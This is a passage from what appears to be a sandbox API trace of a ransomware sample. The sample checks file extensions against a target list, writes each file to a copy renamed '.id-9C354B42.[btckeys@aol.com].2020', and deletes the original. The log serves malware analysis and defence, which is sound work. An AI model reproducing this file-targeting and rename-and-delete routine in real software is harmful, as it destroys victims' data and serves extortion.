(lpString1=".rar", lpString2=".GIF") returned 1 [0082.044] lstrlenW (lpString=".bz2") returned 4 [0082.044] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0082.044] lstrlenW (lpString=".7z") returned 3 [0082.044] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.044] lstrlenW (lpString=".dbf") returned 4 [0082.044] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.044] lstrlenW (lpString=".1cd") returned 4 [0082.044] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.044] lstrlenW (lpString=".jpg") returned 4 [0082.044] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0082.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.044] lstrlenW (lpString=".doc") returned 4 [0082.044] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0082.044] lstrlenW (lpString=".docx") returned 5 [0082.044] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0082.044] lstrlenW (lpString=".pdf") returned 4 [0082.044] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0082.044] lstrlenW (lpString=".xls") returned 4 [0082.045] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0082.045] lstrlenW (lpString=".xlsx") returned 5 [0082.045] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0082.045] lstrlenW (lpString=".ppt") returned 4 [0082.045] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0082.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.045] lstrlenW (lpString=".zip") returned 4 [0082.045] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0082.045] lstrlenW (lpString=".rar") returned 4 [0082.045] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0082.045] lstrlenW (lpString=".bz2") returned 4 [0082.045] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0082.045] lstrlenW (lpString=".7z") returned 3 [0082.045] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0082.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.045] lstrlenW (lpString=".dbf") returned 4 [0082.045] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0082.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.045] lstrlenW (lpString=".1cd") returned 4 [0082.045] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0082.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0082.045] lstrlenW (lpString=".jpg") returned 4 [0082.045] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0082.045] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0082.045] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0082.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0082.046] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=19563) returned 1 [0082.046] CloseHandle (hObject=0x1d8) returned 1 [0082.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0082.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0082.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0082.046] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.046] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0082.047] GetLastError () returned 0x0 [0082.047] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0082.048] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0082.049] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0082.049] WriteFile (in: hFile=0x1dc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0082.049] SetEndOfFile (hFile=0x1dc) returned 1 [0082.049] CloseHandle (hObject=0x1dc) returned 1 [0082.049] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.049] SetEndOfFile (hFile=0x1d8) returned 1 [0082.050] CloseHandle (hObject=0x1d8) returned 1 [0082.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0082.051] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0082.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.051] lstrlenW (lpString=".doc") returned 4 [0082.051] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0082.051] lstrlenW (lpString=".docx") returned 5 [0082.051] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0082.051] lstrlenW (lpString=".pdf") returned 4 [0082.051] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0082.051] lstrlenW (lpString=".xls") returned 4 [0082.051] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0082.051] lstrlenW (lpString=".xlsx") returned 5 [0082.051] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0082.051] lstrlenW (lpString=".ppt") returned 4 [0082.051] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0082.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.051] lstrlenW (lpString=".zip") returned 4 [0082.051] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0082.051] lstrlenW (lpString=".rar") returned 4 [0082.051] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0082.051] lstrlenW (lpString=".bz2") returned 4 [0082.051] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0082.051] lstrlenW (lpString=".7z") returned 3 [0082.051] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0082.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.052] lstrlenW (lpString=".dbf") returned 4 [0082.052] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0082.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.052] lstrlenW (lpString=".1cd") returned 4 [0082.052] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0082.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.052] lstrlenW (lpString=".jpg") returned 4 [0082.052] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0082.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.052] lstrlenW (lpString=".doc") returned 4 [0082.062] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0082.062] lstrlenW (lpString=".docx") returned 5 [0082.062] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0082.062] lstrlenW (lpString=".pdf") returned 4 [0082.062] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0082.062] lstrlenW (lpString=".xls") returned 4 [0082.062] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0082.062] lstrlenW (lpString=".xlsx") returned 5 [0082.062] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0082.062] lstrlenW (lpString=".ppt") returned 4 [0082.062] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0082.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.062] lstrlenW (lpString=".zip") returned 4 [0082.062] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0082.062] lstrlenW (lpString=".rar") returned 4 [0082.062] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0082.062] lstrlenW (lpString=".bz2") returned 4 [0082.062] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0082.062] lstrlenW (lpString=".7z") returned 3 [0082.062] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0082.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.062] lstrlenW (lpString=".dbf") returned 4 [0082.062] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0082.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.062] lstrlenW (lpString=".1cd") returned 4 [0082.062] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0082.062] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0082.062] lstrlenW (lpString=".jpg") returned 4 [0082.062] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0082.063] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0082.063] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0082.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0082.063] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1423) returned 1 [0082.063] CloseHandle (hObject=0x1d8) returned 1 [0082.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0082.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0082.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0082.064] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.064] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.216] GetLastError () returned 0x0 [0083.216] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x58f, lpOverlapped=0x0) returned 1 [0083.221] WriteFile (in: hFile=0x210, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x590, lpOverlapped=0x0) returned 1 [0083.223] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.223] WriteFile (in: hFile=0x210, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0083.223] SetEndOfFile (hFile=0x210) returned 1 [0083.223] CloseHandle (hObject=0x210) returned 1 [0083.223] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.224] SetEndOfFile (hFile=0x1d8) returned 1 [0083.225] CloseHandle (hObject=0x1d8) returned 1 [0083.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.225] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0083.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.226] lstrlenW (lpString=".doc") returned 4 [0083.226] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.226] lstrlenW (lpString=".docx") returned 5 [0083.226] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.226] lstrlenW (lpString=".pdf") returned 4 [0083.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.226] lstrlenW (lpString=".xls") returned 4 [0083.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.226] lstrlenW (lpString=".xlsx") returned 5 [0083.226] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.226] lstrlenW (lpString=".ppt") returned 4 [0083.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.226] lstrlenW (lpString=".zip") returned 4 [0083.226] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.226] lstrlenW (lpString=".rar") returned 4 [0083.226] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.226] lstrlenW (lpString=".bz2") returned 4 [0083.226] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.226] lstrlenW (lpString=".7z") returned 3 [0083.226] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.226] lstrlenW (lpString=".dbf") returned 4 [0083.226] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.226] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.226] lstrlenW (lpString=".1cd") returned 4 [0083.227] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.227] lstrlenW (lpString=".jpg") returned 4 [0083.227] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.227] lstrlenW (lpString=".doc") returned 4 [0083.227] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.227] lstrlenW (lpString=".docx") returned 5 [0083.227] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.227] lstrlenW (lpString=".pdf") returned 4 [0083.227] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.227] lstrlenW (lpString=".xls") returned 4 [0083.227] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.227] lstrlenW (lpString=".xlsx") returned 5 [0083.227] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.227] lstrlenW (lpString=".ppt") returned 4 [0083.227] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.227] lstrlenW (lpString=".zip") returned 4 [0083.227] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.227] lstrlenW (lpString=".rar") returned 4 [0083.227] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.227] lstrlenW (lpString=".bz2") returned 4 [0083.227] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.227] lstrlenW (lpString=".7z") returned 3 [0083.228] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.228] lstrlenW (lpString=".dbf") returned 4 [0083.228] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.228] lstrlenW (lpString=".1cd") returned 4 [0083.228] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0083.228] lstrlenW (lpString=".jpg") returned 4 [0083.228] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.228] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0083.228] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0083.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0083.229] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4100) returned 1 [0083.229] CloseHandle (hObject=0x1d8) returned 1 [0083.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0083.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0083.229] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.229] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0083.232] GetLastError () returned 0x0 [0083.232] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1004, lpOverlapped=0x0) returned 1 [0083.234] WriteFile (in: hFile=0x210, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0083.235] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.235] WriteFile (in: hFile=0x210, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0083.236] SetEndOfFile (hFile=0x210) returned 1 [0083.236] CloseHandle (hObject=0x210) returned 1 [0083.236] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.236] SetEndOfFile (hFile=0x1d8) returned 1 [0083.237] CloseHandle (hObject=0x1d8) returned 1 [0083.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.238] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0083.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.238] lstrlenW (lpString=".doc") returned 4 [0083.238] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.238] lstrlenW (lpString=".docx") returned 5 [0083.238] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.238] lstrlenW (lpString=".pdf") returned 4 [0083.238] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.238] lstrlenW (lpString=".xls") returned 4 [0083.238] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.238] lstrlenW (lpString=".xlsx") returned 5 [0083.238] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.238] lstrlenW (lpString=".ppt") returned 4 [0083.238] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0083.238] lstrlenW (lpString=".zip") returned 4 [0083.238] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.239] lstrlenW (lpString=".rar") returned 4 [0083.239] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.239] lstrlenW 